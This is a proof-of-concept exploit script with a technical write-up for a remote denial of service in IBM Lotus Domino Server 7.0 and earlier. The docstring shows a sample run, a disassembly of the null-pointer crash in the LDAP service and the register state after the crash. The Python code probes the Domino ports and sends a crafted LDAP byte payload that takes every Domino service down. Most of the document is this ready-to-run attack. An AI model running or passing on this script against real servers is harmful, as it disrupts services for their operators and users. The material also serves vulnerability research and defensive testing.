"""
IBM Lotus Domino Server Remote Denial of Service
================================================

Vulnerable Version(s): IBM Lotus Domino Server <= 7.0, Windows XP Prof - SP 2
Author...............: posidron

The follwing script will kill every service which is provided by IBM Lotus
Domino Server, by sending a specially crafted packet to the LDAP service.
All results are based on a default installation.


Sample Demonstration
---------------------

F:\vulndev\IBM\lotus-domino>python private-ibm_lotus_domino.py 127.0.0.1 389
Service: Lotus Domino httpd on port 80 is reachable!
Service: Lotus Domino server on port 1352 is reachable!
Service: Lotus Domino ldapd on port 389 is reachable!
Service: Lotus Domino smtpd on port 25 is reachable!
Service: Lotus Domino POP3d on port 110 is reachable!
Service: Lotus Domino imapd on port 143 is reachable!
------------------------------------------------------------
Connecting to 127.0.0.1 on port 389: done!
Sending LDAP request: done!
------------------------------------------------------------
Service: Lotus Domino httpd on port 80 is unreachable!
Service: Lotus Domino server on port 1352 is unreachable!
Service: Lotus Domino ldapd on port 389 is unreachable!
Service: Lotus Domino smtpd on port 25 is unreachable!
Service: Lotus Domino POP3d on port 110 is unreachable!
Service: Lotus Domino imapd on port 143 is unreachable!

F:\vulndev\IBM\lotus-domino>


Breakdown
---------

ECX stores the LDAP version, which is 0 in our case.
EAX stores the LDAP username, which is 0 in our case.

<module nLDAP.exe>
0042DEF4  jmp     dword ptr ds:[<&nnotes.#5211>]  ; nnotes.ND_ber_scanf
                                       :
0040CAB2  call  <jmp.&nnotes.#5211>.....
0040CAB7  add   esp, 0C
0040CABA  mov   dword ptr ss:[ebp-28], eax ; ebp-28 = 1997FF7F <- eax = 1997FF7F
0040CABD  mov   ecx, dword ptr ss:[ebp-30] ; ecx = 00000000 <- ebp-30 = 00000000
0040CAC0  cmp   ecx, 2                     ; 
0040CAC3  je    short nLDAP.0040CB3D       ; false
0040CAC5  cmp   ecx, 3
0040CAC8  je    short nLDAP.0040CB3D       ; false
0040CACA  mov   eax, dword ptr ss:[ebp-10] ; eax = 00000000 <- ebp-10 = 00000000
0040CACD  test  eax, eax
0040CACF  mov   byte ptr ds:[ebx+54], 2
0040CAD3  jnz   short nLDAP.0040CADE       ; false
0040CAD5  cmp   byte ptr ds:[eax], al      ; al = 00 / ds = 00000000 | crash!!
0040CAD7  jnz   short nLDAP.0040CADE       ; 
0040CAD9  mov   eax, nLDAP.0043A5D0        ; ASCII "Anonymous User"
0040CADE  push  eax                        ; %s format argument
0040CADF  push  ecx                        ; %d format argument
0040CAE0  lea   eax, dword ptr ds:[ebx+55] ; target buffer
0040CAE3  push  nLDAP.0043A5A0             ; ASCII "Failed, LDAP version %d not supported for %s"
0040CAE8  push  eax
0040CAE9  call  <jmp.&nnotes.#236> ......
                                        v
          0042DC48  jmp  dword ptr ds:[<&nnotes.#236>]  ; nnotes.Csprintf


State of registers after crash:

EAX 00000000
ECX 00000000
EDX 00000001
EBX 5FD9F814
ESP 60D1F794
EBP 60D1FC04
ESI 5F1B0519
EDI 60D1FB95
EIP 0040CAD5 nLDAP.0040CAD5


In this case:

0040CACA  mov   eax, dword ptr ss:[ebp-10]

is not pointing to user defined data and:

0040CACF  mov   byte ptr ds:[ebx+54], 2
0040CAD3  jnz   short nLDAP.0040CADE         ; false

will always be false; there is no remote code execution possible,
because we are not able to reach the offset 0x0040CADE with our data in eax.

"""

import sys, socket, time

# IBM Domino Services
services = {
    "Lotus Domino smtpd": 25,
    "Lotus Domino httpd": 80,
    "Lotus Domino POP3d": 110,
    "Lotus Domino imapd": 143,
    "Lotus Domino ldapd": 389,
    "Lotus Domino server": 1352,
    }

def VerifyServices(host, services):
    for name, port in services.items():
        s = socket.socket()
        try:
            s.connect((host, port))
        except socket.error:
            print "Service:", name, "on port", str(port), "is unreachable!"
            if port == 389:
                print "Required service:", name, "is unreachable."
            continue
        print "Service:", name, "on port", str(port), "is reachable!"
        s.close()

def SendPacket(host, port, packet):
    s = socket.socket()
    print "Connecting to", host, "on port", str(port)+":",
    try:
        s.connect((host, port))
    except socket.error:
        print "failed!"
        return
    print "done!"
    print "Sending LDAP request:",
    s.send(packet)
    print "done!"
    s.close()


try:
    host = sys.argv[1]
    port = int(sys.argv[2])
except IndexError:
    sys.exit(__file__+" <host> <ldap-port>")

VerifyServices(host, services)
time.sleep(5)
print "-" * 60
SendPacket(host, port, '0\x0e\x02\x01\x01\x60\x09\x02\x0c\x03\x04\x02AA\x80\x00')
print "-" * 60
time.sleep(5)
VerifyServices(host, services)